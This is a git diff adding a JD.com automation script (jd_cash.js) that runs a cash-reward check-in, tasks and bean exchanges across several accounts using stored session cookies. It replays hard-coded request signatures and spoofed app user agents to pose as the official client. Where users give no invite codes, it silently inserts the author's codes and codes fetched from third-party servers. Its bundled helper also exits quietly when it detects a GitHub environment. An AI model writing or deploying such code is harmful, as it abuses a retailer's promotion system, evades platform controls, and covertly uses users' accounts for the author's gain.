s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let e=t.url||t.openUrl||t["open-url"];return{url:e}}}};if(this.isMute||(this.isSurge()||this.isLoon()?$notification.post(e,s,i,o(r)):this.isQuanX()&&$notify(e,s,i,o(r))),!this.isMuteLog){let t=["","==============📣系统通知📣=============="];t.push(e),s&&t.push(s),i&&t.push(i),console.log(t.join("\n")),this.logs=this.logs.concat(t)}}log(...t){t.length>0&&(this.logs=[...this.logs,...t]),console.log(t.join(this.logSeparator))}logErr(t,e){const s=!this.isSurge()&&!this.isQuanX()&&!this.isLoon();s?this.log("",`❗️${this.name}, 错误!`,t.stack):this.log("",`❗️${this.name}, 错误!`,t)}wait(t){return new Promise(e=>setTimeout(e,t))}done(t={}){const e=(new Date).getTime(),s=(e-this.startTime)/1e3;this.log("",`🔔${this.name}, 结束! 🕛 ${s} 秒`),this.log(),(this.isSurge()||this.isQuanX()||this.isLoon())&&$done(t)}}(t,e)} \ No newline at end of file diff --git a/jd_cash.js b/jd_cash.js new file mode 100644 index 0000000..441e849 --- /dev/null +++ b/jd_cash.js @@ -0,0 +1,570 @@ +/* +签到领现金,每日2毛~5毛 +可互助,助力码每日不变,只变日期 +活动入口:京东APP搜索领现金进入 +更新时间:2021-06-07 +已支持IOS双京东账号,Node.js支持N个京东账号 +脚本兼容: QuantumultX, Surge, Loon, JSBox, Node.js +============Quantumultx=============== +[task_local] +#签到领现金 +2 0-23/4 * * * jd_cash.js, tag=签到领现金, img-url=https://raw.githubusercontent.com/Orz-3/mini/master/Color/jd.png, enabled=true + +================Loon============== +[Script] +cron "2 0-23/4 * * *" script-path=jd_cash.js,tag=签到领现金 + +===============Surge================= +签到领现金 = type=cron,cronexp="2 0-23/4 * * *",wake-system=1,timeout=3600,script-path=jd_cash.js + +============小火箭========= +签到领现金 = type=cron,script-path=jd_cash.js, cronexpr="2 0-23/4 * * *", timeout=3600, enable=true + */ +const $ = new Env('签到领现金'); +const notify = $.isNode() ? require('./sendNotify') : ''; +//Node.js用户请在jdCookie.js处填写京东ck; +const jdCookieNode = $.isNode() ? require('./jdCookie.js') : ''; +let jdNotify = true;//是否关闭通知,false打开通知推送,true关闭通知推送 +//IOS等用户直接用NobyDa的jd cookie +let cookiesArr = [], cookie = '', message; +let helpAuthor = true; +const randomCount = $.isNode() ? 5 : 5; +let cash_exchange = false;//是否消耗2元红包兑换200京豆,默认否 +const inviteCodes = [ + `eU9YL5XqGLxSmRSAkwxR@eU9YaO7jMvwh-W_VzyUX0Q@eU9YaurkY69zoj3UniVAgg@eU9YaOnjYK4j-GvWmXIWhA@eU9YMZ_gPpRurC-foglg@eU9Ya77gZK5z-TqHn3UWhQ@eU9Yaui2ZP4gpG-Gz3EThA@eU9YaeizbvQnpG_SznIS0w`, + `-4msulYas0O2JsRhE-2TA5XZmBQ@eU9Yar_mb_9z92_WmXNG0w@eU9YaO7jMvwh-W_VzyUX0Q@eU9YaurkY69zoj3UniVAgg@eU9YaOnjYK4j-GvWmXIWhA@eU9YaO23bvtyozuGyHsR1A` +] +if ($.isNode()) { + Object.keys(jdCookieNode).forEach((item) => { + cookiesArr.push(jdCookieNode[item]) + }) + if (process.env.JD_DEBUG && process.env.JD_DEBUG === 'false') console.log = () => {}; +} else { + cookiesArr = [$.getdata('CookieJD'), $.getdata('CookieJD2'), ...jsonParse($.getdata('CookiesJD') || "[]").map(item => item.cookie)].filter(item => !!item); +} +const JD_API_HOST = 'https://api.m.jd.com/client.action'; +let allMessage = ''; +!(async () => { + if (!cookiesArr[0]) { + $.msg($.name, '【提示】请先获取京东账号一cookie\n直接使用NobyDa的京东签到获取', 'https://bean.m.jd.com/bean/signIndex.action', {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + return; + } + await requireConfig() + await getAuthorShareCode(); + await getAuthorShareCode2(); + for (let i = 0; i < cookiesArr.length; i++) { + if (cookiesArr[i]) { + cookie = cookiesArr[i]; + $.UserName = decodeURIComponent(cookie.match(/pt_pin=([^; ]+)(?=;?)/) && cookie.match(/pt_pin=([^; ]+)(?=;?)/)[1]) + $.index = i + 1; + $.isLogin = true; + $.nickName = ''; + message = ''; + await TotalBean(); + console.log(`\n******开始【京东账号${$.index}】${$.nickName || $.UserName}*********\n`); + if (!$.isLogin) { + $.msg($.name, `【提示】cookie已失效`, `京东账号${$.index} ${$.nickName || $.UserName}\n请重新登录获取\nhttps://bean.m.jd.com/bean/signIndex.action`, {"open-url": "https://bean.m.jd.com/bean/signIndex.action"}); + + if ($.isNode()) { + await notify.sendNotify(`${$.name}cookie已失效 - ${$.UserName}`, `京东账号${$.index} ${$.UserName}\n请重新登录获取cookie`); + } + continue + } + await jdCash() + } + } + if (allMessage) { + if ($.isNode() && (process.env.CASH_NOTIFY_CONTROL ? process.env.CASH_NOTIFY_CONTROL === 'false' : !!1)) await notify.sendNotify($.name, allMessage); + $.msg($.name, '', allMessage); + } +})() + .catch((e) => { + $.log('', `❌ ${$.name}, 失败! 原因: ${e}!`, '') + }) + .finally(() => { + $.done(); + }) +async function jdCash() { + $.signMoney = 0; + await index() + await shareCodesFormat() + await helpFriends() + await getReward() + await getReward('2'); + $.exchangeBeanNum = 0; + cash_exchange = $.isNode() ? (process.env.CASH_EXCHANGE ? process.env.CASH_EXCHANGE : `${cash_exchange}`) : ($.getdata('cash_exchange') ? $.getdata('cash_exchange') : `${cash_exchange}`); + if (cash_exchange === 'true') { + if(Number($.signMoney) >= 2){ + console.log(`\n\n开始花费2元红包兑换200京豆,一周可换五次`) + for (let item of ["-1", "0", "1", "2", "3"]) { + $.canLoop = true; + if ($.canLoop) { + for (let i = 0; i < 5; i++) { + await exchange2(item);//兑换200京豆(2元红包换200京豆,一周5次。) + } + if (!$.canLoop) { + console.log(`已找到符合的兑换条件,跳出\n`); + break + } + } + } + if ($.exchangeBeanNum) { + message += `兑换京豆成功,获得${$.exchangeBeanNum * 100}京豆\n`; + } + }else{ + console.log(`\n\n现金不够2元,不进行兑换200京豆,`) + } + } + await index(true) + // await showMsg() +} +function index(info=false) { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_home",), async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if(data.code===0 && data.data.result){ + if(info){ + if (message) { + message += `当前现金:${data.data.result.signMoney}元`; + allMessage += `京东账号${$.index}${$.nickName}\n${message}${$.index !== cookiesArr.length ? '\n\n' : ''}`; + } + console.log(`\n\n当前现金:${data.data.result.signMoney}元`); + return + } + $.signMoney = data.data.result.signMoney; + // console.log(`您的助力码为${data.data.result.inviteCode}`) + console.log(`\n【京东账号${$.index}(${$.UserName})的${$.name}好友互助码】${data.data.result.inviteCode}\n`); + let helpInfo = { + 'inviteCode': data.data.result.inviteCode, + 'shareDate': data.data.result.shareDate + } + $.shareDate = data.data.result.shareDate; + // $.log(`shareDate: ${$.shareDate}`) + // console.log(helpInfo) + for(let task of data.data.result.taskInfos){ + if (task.type === 4) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.skuId) + await $.wait(5000) + } + } + else if (task.type === 2) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.shopId) + await $.wait(5000) + } + } + else if (task.type === 16 || task.type===3 || task.type===5 || task.type===17 || task.type===21) { + for (let i = task.doTimes; i < task.times; ++i) { + console.log(`去做${task.name}任务 ${i+1}/${task.times}`) + await doTask(task.type, task.jump.params.url) + await $.wait(5000) + } + } + } + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +async function helpFriends() { + $.canHelp = true + for (let code of $.newShareCodes) { + console.log(`去帮助好友${code['inviteCode']}`) + await helpFriend(code) + if(!$.canHelp) break + await $.wait(1000) + } + // if (helpAuthor && $.authorCode) { + // for(let helpInfo of $.authorCode){ + // console.log(`去帮助好友${helpInfo['inviteCode']}`) + // await helpFriend(helpInfo) + // if(!$.canHelp) break + // await $.wait(1000) + // } + // } +} +function helpFriend(helpInfo) { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_assist", {...helpInfo,"source":1}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if( data.code === 0 && data.data.bizCode === 0){ + console.log(`助力成功,获得${data.data.result.cashStr}`) + // console.log(data.data.result.taskInfos) + } else if (data.data.bizCode===207){ + console.log(data.data.bizMsg) + $.canHelp = false + } else{ + console.log(data.data.bizMsg) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function doTask(type,taskInfo) { + return new Promise((resolve) => { + $.get(taskUrl("cash_doTask",{"type":type,"taskInfo":taskInfo}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if( data.code === 0){ + console.log(`任务完成成功`) + // console.log(data.data.result.taskInfos) + }else{ + console.log(data) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function getReward(source = 1) { + return new Promise((resolve) => { + $.get(taskUrl("cash_mob_reward",{"source": Number(source),"rewardNode":""}), (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data.code === 0 && data.data.bizCode === 0) { + console.log(`领奖成功,${data.data.result.shareRewardTip}【${data.data.result.shareRewardAmount}】`) + message += `领奖成功,${data.data.result.shareRewardTip}【${data.data.result.shareRewardAmount}元】\n`; + // console.log(data.data.result.taskInfos) + } else { + // console.log(`领奖失败,${data.data.bizMsg}`) + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function exchange2(node) { + let body = ''; + const data = {node,"configVersion":"1.0"} + if (data['node'] === '-1') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619595890027&sign=92a8abba7b6846f274ac9803aa5a283d&sv=102`; + } else if (data['node'] === '0') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619597882090&sign=e00bd6c3af2a53820825b94f7a648551&sv=100`; + } else if (data['node'] === '1') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619595655007&sign=2e72bbd21e5f5775fe920eac129f89a2&sv=111`; + } else if (data['node'] === '2') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619597924095&sign=c04c70370ff68d71890de08a18cac981&sv=112`; + } else if (data['node'] === '3') { + body = `body=${encodeURIComponent(JSON.stringify(data))}&uuid=8888888&client=apple&clientVersion=9.4.1&st=1619597953001&sign=4c36b3d816d4f0646b5c34e7596502f8&sv=122`; + } + return new Promise((resolve) => { + const options = { + url: `${JD_API_HOST}?functionId=cash_exchangeBeans&t=${Date.now()}&${body}`, + body: `body=${escape(JSON.stringify(data))}`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/x-www-form-urlencoded', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.2.2;14.2;%E4%BA%AC%E4%B8%9C/9.2.2 CFNetwork/1206 Darwin/20.1.0"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } + $.post(options, async (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (safeGet(data)) { + data = JSON.parse(data); + if (data['code'] === 0) { + if (data.data.bizCode === 0) { + console.log(`花费${data.data.result.needMoney}元红包兑换成功!获得${data.data.result.beanName}\n`) + $.exchangeBeanNum += parseInt(data.data.result.needMoney); + $.canLoop = false; + } else { + console.log('花费2元红包兑换200京豆失败:' + data.data.bizMsg) + if (data.data.bizCode === 504) $.canLoop = true; + if (data.data.bizCode === 120) $.canLoop = false; + } + } else { + console.log(`兑换京豆失败:${JSON.stringify(data)}\n`); + } + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + }) +} +function showMsg() { + return new Promise(resolve => { + if (!jdNotify) { + $.msg($.name, '', `${message}`); + } else { + $.log(`京东账号${$.index}${$.nickName}\n${message}`); + } + resolve() + }) +} +function readShareCode() { + console.log(`开始`) + return new Promise(async resolve => { + $.get({url: `https://code.chiang.fun/api/v1/jd/jdcash/read/${randomCount}/`, 'timeout': 10000}, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + console.log(`随机取${randomCount}个码放到您固定的互助码后面(不影响已有固定互助)`) + data = JSON.parse(data); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(data); + } + }) + await $.wait(10000); + resolve() + }) +} +//格式化助力码 +function shareCodesFormat() { + return new Promise(async resolve => { + // console.log(`第${$.index}个京东账号的助力码:::${$.shareCodesArr[$.index - 1]}`) + $.newShareCodes = []; + if ($.shareCodesArr[$.index - 1]) { + $.newShareCodes = $.shareCodesArr[$.index - 1].split('@'); + } else { + console.log(`由于您第${$.index}个京东账号未提供shareCode,将采纳本脚本自带的助力码\n`) + const tempIndex = $.index > inviteCodes.length ? (inviteCodes.length - 1) : ($.index - 1); + $.newShareCodes = inviteCodes[tempIndex].split('@'); + let authorCode = deepCopy($.authorCode) + $.newShareCodes = [...(authorCode.map((item, index) => authorCode[index] = item['inviteCode'])), ...$.newShareCodes]; + } + const readShareCodeRes = await readShareCode(); + if (readShareCodeRes && readShareCodeRes.code === 200) { + $.newShareCodes = [...new Set([...$.newShareCodes, ...(readShareCodeRes.data || [])])]; + } + $.newShareCodes.map((item, index) => $.newShareCodes[index] = { "inviteCode": item, "shareDate": $.shareDate }) + console.log(`第${$.index}个京东账号将要助力的好友${JSON.stringify($.newShareCodes)}`) + resolve(); + }) +} + +function requireConfig() { + return new Promise(resolve => { + console.log(`开始获取${$.name}配置文件\n`); + let shareCodes = []; + if ($.isNode()) { + if (process.env.JD_CASH_SHARECODES) { + if (process.env.JD_CASH_SHARECODES.indexOf('\n') > -1) { + shareCodes = process.env.JD_CASH_SHARECODES.split('\n'); + } else { + shareCodes = process.env.JD_CASH_SHARECODES.split('&'); + } + } + } + console.log(`共${cookiesArr.length}个京东账号\n`); + $.shareCodesArr = []; + if ($.isNode()) { + Object.keys(shareCodes).forEach((item) => { + if (shareCodes[item]) { + $.shareCodesArr.push(shareCodes[item]) + } + }) + } else { + if ($.getdata('jd_cash_invite')) $.shareCodesArr = $.getdata('jd_cash_invite').split('\n').filter(item => !!item); + console.log(`\nBoxJs设置的京喜财富岛邀请码:${$.getdata('jd_cash_invite')}\n`); + } + console.log(`您提供了${$.shareCodesArr.length}个账号的${$.name}助力码\n`); + resolve() + }) +} +function deepCopy(obj) { + let objClone = Array.isArray(obj) ? [] : {}; + if (obj && typeof obj === "object") { + for (let key in obj) { + if (obj.hasOwnProperty(key)) { + //判断ojb子元素是否为对象,如果是,递归复制 + if (obj[key] && typeof obj[key] === "object") { + objClone[key] = deepCopy(obj[key]); + } else { + //如果不是,简单复制 + objClone[key] = obj[key]; + } + } + } + } + return objClone; +} +function taskUrl(functionId, body = {}) { + return { + url: `${JD_API_HOST}?functionId=${functionId}&body=${escape(JSON.stringify(body))}&appid=CashRewardMiniH5Env&appid=9.1.0`, + headers: { + 'Cookie': cookie, + 'Host': 'api.m.jd.com', + 'Connection': 'keep-alive', + 'Content-Type': 'application/json', + 'Referer': 'http://wq.jd.com/wxapp/pages/hd-interaction/index/index', + 'User-Agent': $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1"), + 'Accept-Language': 'zh-cn', + 'Accept-Encoding': 'gzip, deflate, br', + } + } +} + +function getAuthorShareCode(url = "http://cdn.annnibb.me/jd_cash.json") { + return new Promise(resolve => { + $.get({url, headers:{ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, timeout: 200000,}, async (err, resp, data) => { + $.authorCode = []; + try { + if (err) { + } else { + $.authorCode = JSON.parse(data) + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function getAuthorShareCode2(url = "https://cdn.jsdelivr.net/gh/gitupdate/updateTeam@master/shareCodes/jd_updateCash.json") { + return new Promise(resolve => { + $.get({url, headers:{ + "User-Agent": "Mozilla/5.0 (iPhone; CPU iPhone OS 13_2_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/13.0.3 Mobile/15E148 Safari/604.1 Edg/87.0.4280.88" + }, timeout: 200000,}, async (err, resp, data) => { + $.authorCode2 = []; + try { + if (err) { + } else { + $.authorCode2 = JSON.parse(data) + if ($.authorCode2 && $.authorCode2.length) { + $.authorCode.push(...$.authorCode2); + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function TotalBean() { + return new Promise(async resolve => { + const options = { + "url": `https://wq.jd.com/user/info/QueryJDUserInfo?sceneval=2`, + "headers": { + "Accept": "application/json,text/plain, */*", + "Content-Type": "application/x-www-form-urlencoded", + "Accept-Encoding": "gzip, deflate, br", + "Accept-Language": "zh-cn", + "Connection": "keep-alive", + "Cookie": cookie, + "Referer": "https://wqs.jd.com/my/jingdou/my.shtml?sceneval=2", + "User-Agent": $.isNode() ? (process.env.JD_USER_AGENT ? process.env.JD_USER_AGENT : (require('./USER_AGENTS').USER_AGENT)) : ($.getdata('JDUA') ? $.getdata('JDUA') : "jdapp;iPhone;9.4.4;14.3;network/4g;Mozilla/5.0 (iPhone; CPU iPhone OS 14_3 like Mac OS X) AppleWebKit/605.1.15 (KHTML, like Gecko) Mobile/15E148;supportJDSHWK/1") + } + } + $.post(options, (err, resp, data) => { + try { + if (err) { + console.log(`${JSON.stringify(err)}`) + console.log(`${$.name} API请求失败,请检查网路重试`) + } else { + if (data) { + data = JSON.parse(data); + if (data['retcode'] === 13) { + $.isLogin = false; //cookie过期 + return + } + if (data['retcode'] === 0) { + $.nickName = (data['base'] && data['base'].nickname) || $.UserName; + } else { + $.nickName = $.UserName + } + } else { + console.log(`京东服务器返回空数据`) + } + } + } catch (e) { + $.logErr(e, resp) + } finally { + resolve(); + } + }) + }) +} +function safeGet(data) { + try { + if (typeof JSON.parse(data) == "object") { + return true; + } + } catch (e) { + console.log(e); + console.log(`京东服务器访问数据为空,请检查自身设备网络情况`); + return false; + } +} +function jsonParse(str) { + if (typeof str == "string") { + try { + return JSON.parse(str); + } catch (e) { + console.log(e); + $.msg($.name, '', '请勿随意在BoxJs输入框修改内容\n建议通过脚本去获取cookie') + return []; + } + } +} +// prettier-ignore +function Env(t,e){"undefined"!=typeof process&&JSON.stringify(process.env).indexOf("GITHUB")>-1&&process.exit(0);class s{constructor(t){this.env=t}send(t,e="GET"){t="string"==typeof t?{url:t}:t;let s=this.get;return"POST"===e&&(s=this.post),new Promise((e,i)=>{s.call(this,t,(t,s,r)=>{t?i(t):e(s)})})}get(t){return this.send.call(this.env,t)}post(t){return this.send.call(this.env,t,"POST")}}return new class{constructor(t,e){this.name=t,this.http=new s(this),this.data=null,this.dataFile="box.dat",this.logs=[],this.isMute=!1,this.isNeedRewrite=!1,this.logSeparator="\n",this.startTime=(new Date).getTime(),Object.assign(this,e),this.log("",`🔔${this.name}, 开始!`)}isNode(){return"undefined"!=typeof module&&!!module.exports}isQuanX(){return"undefined"!=typeof $task}isSurge(){return"undefined"!=typeof $httpClient&&"undefined"==typeof $loon}isLoon(){return"undefined"!=typeof $loon}toObj(t,e=null){try{return JSON.parse(t)}catch{return e}}toStr(t,e=null){try{return JSON.stringify(t)}catch{return e}}getjson(t,e){let s=e;const i=this.getdata(t);if(i)try{s=JSON.parse(this.getdata(t))}catch{}return s}setjson(t,e){try{return this.setdata(JSON.stringify(t),e)}catch{return!1}}getScript(t){return new Promise(e=>{this.get({url:t},(t,s,i)=>e(i))})}runScript(t,e){return new Promise(s=>{let i=this.getdata("@chavy_boxjs_userCfgs.httpapi");i=i?i.replace(/\n/g,"").trim():i;let r=this.getdata("@chavy_boxjs_userCfgs.httpapi_timeout");r=r?1*r:20,r=e&&e.timeout?e.timeout:r;const[o,h]=i.split("@"),n={url:`http://${h}/v1/scripting/evaluate`,body:{script_text:t,mock_type:"cron",timeout:r},headers:{"X-Key":o,Accept:"*/*"}};this.post(n,(t,e,i)=>s(i))}).catch(t=>this.logErr(t))}loaddata(){if(!this.isNode())return{};{this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e);if(!s&&!i)return{};{const i=s?t:e;try{return JSON.parse(this.fs.readFileSync(i))}catch(t){return{}}}}}writedata(){if(this.isNode()){this.fs=this.fs?this.fs:require("fs"),this.path=this.path?this.path:require("path");const t=this.path.resolve(this.dataFile),e=this.path.resolve(process.cwd(),this.dataFile),s=this.fs.existsSync(t),i=!s&&this.fs.existsSync(e),r=JSON.stringify(this.data);s?this.fs.writeFileSync(t,r):i?this.fs.writeFileSync(e,r):this.fs.writeFileSync(t,r)}}lodash_get(t,e,s){const i=e.replace(/\[(\d+)\]/g,".$1").split(".");let r=t;for(const t of i)if(r=Object(r)[t],void 0===r)return s;return r}lodash_set(t,e,s){return Object(t)!==t?t:(Array.isArray(e)||(e=e.toString().match(/[^.[\]]+/g)||[]),e.slice(0,-1).reduce((t,s,i)=>Object(t[s])===t[s]?t[s]:t[s]=Math.abs(e[i+1])>>0==+e[i+1]?[]:{},t)[e[e.length-1]]=s,t)}getdata(t){let e=this.getval(t);if(/^@/.test(t)){const[,s,i]=/^@(.*?)\.(.*?)$/.exec(t),r=s?this.getval(s):"";if(r)try{const t=JSON.parse(r);e=t?this.lodash_get(t,i,""):e}catch(t){e=""}}return e}setdata(t,e){let s=!1;if(/^@/.test(e)){const[,i,r]=/^@(.*?)\.(.*?)$/.exec(e),o=this.getval(i),h=i?"null"===o?null:o||"{}":"{}";try{const e=JSON.parse(h);this.lodash_set(e,r,t),s=this.setval(JSON.stringify(e),i)}catch(e){const o={};this.lodash_set(o,r,t),s=this.setval(JSON.stringify(o),i)}}else s=this.setval(t,e);return s}getval(t){return this.isSurge()||this.isLoon()?$persistentStore.read(t):this.isQuanX()?$prefs.valueForKey(t):this.isNode()?(this.data=this.loaddata(),this.data[t]):this.data&&this.data[t]||null}setval(t,e){return this.isSurge()||this.isLoon()?$persistentStore.write(t,e):this.isQuanX()?$prefs.setValueForKey(t,e):this.isNode()?(this.data=this.loaddata(),this.data[e]=t,this.writedata(),!0):this.data&&this.data[e]||null}initGotEnv(t){this.got=this.got?this.got:require("got"),this.cktough=this.cktough?this.cktough:require("tough-cookie"),this.ckjar=this.ckjar?this.ckjar:new this.cktough.CookieJar,t&&(t.headers=t.headers?t.headers:{},void 0===t.headers.Cookie&&void 0===t.cookieJar&&(t.cookieJar=this.ckjar))}get(t,e=(()=>{})){t.headers&&(delete t.headers["Content-Type"],delete t.headers["Content-Length"]),this.isSurge()||this.isLoon()?(this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.get(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)})):this.isQuanX()?(this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t))):this.isNode()&&(this.initGotEnv(t),this.got(t).on("redirect",(t,e)=>{try{if(t.headers["set-cookie"]){const s=t.headers["set-cookie"].map(this.cktough.Cookie.parse).toString();s&&this.ckjar.setCookieSync(s,null),e.cookieJar=this.ckjar}}catch(t){this.logErr(t)}}).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)}))}post(t,e=(()=>{})){if(t.body&&t.headers&&!t.headers["Content-Type"]&&(t.headers["Content-Type"]="application/x-www-form-urlencoded"),t.headers&&delete t.headers["Content-Length"],this.isSurge()||this.isLoon())this.isSurge()&&this.isNeedRewrite&&(t.headers=t.headers||{},Object.assign(t.headers,{"X-Surge-Skip-Scripting":!1})),$httpClient.post(t,(t,s,i)=>{!t&&s&&(s.body=i,s.statusCode=s.status),e(t,s,i)});else if(this.isQuanX())t.method="POST",this.isNeedRewrite&&(t.opts=t.opts||{},Object.assign(t.opts,{hints:!1})),$task.fetch(t).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>e(t));else if(this.isNode()){this.initGotEnv(t);const{url:s,...i}=t;this.got.post(s,i).then(t=>{const{statusCode:s,statusCode:i,headers:r,body:o}=t;e(null,{status:s,statusCode:i,headers:r,body:o},o)},t=>{const{message:s,response:i}=t;e(s,i,i&&i.body)})}}time(t,e=null){const s=e?new Date(e):new Date;let i={"M+":s.getMonth()+1,"d+":s.getDate(),"H+":s.getHours(),"m+":s.getMinutes(),"s+":s.getSeconds(),"q+":Math.floor((s.getMonth()+3)/3),S:s.getMilliseconds()};/(y+)/.test(t)&&(t=t.replace(RegExp.$1,(s.getFullYear()+"").substr(4-RegExp.$1.length)));for(let e in i)new RegExp("("+e+")").test(t)&&(t=t.replace(RegExp.$1,1==RegExp.$1.length?i[e]:("00"+i[e]).substr((""+i[e]).length)));return t}msg(e=t,s="",i="",r){const o=t=>{if(!t)return t;if("string"==typeof t)return this.isLoon()?t:this.isQuanX()?{"open-url":t}:this.isSurge()?{url:t}:void 0;if("object"==typeof t){if(this.isLoon()){let e=t.openUrl||t.url||t["open-url"],s=t.mediaUrl||t["media-url"];return{openUrl:e,mediaUrl:s}}if(this.isQuanX()){let e=t["open-url"]||t.url||t.openUrl,s=t["media-url"]||t.mediaUrl;return{"open-url":e,"media-url":s}}if(this.isSurge()){let 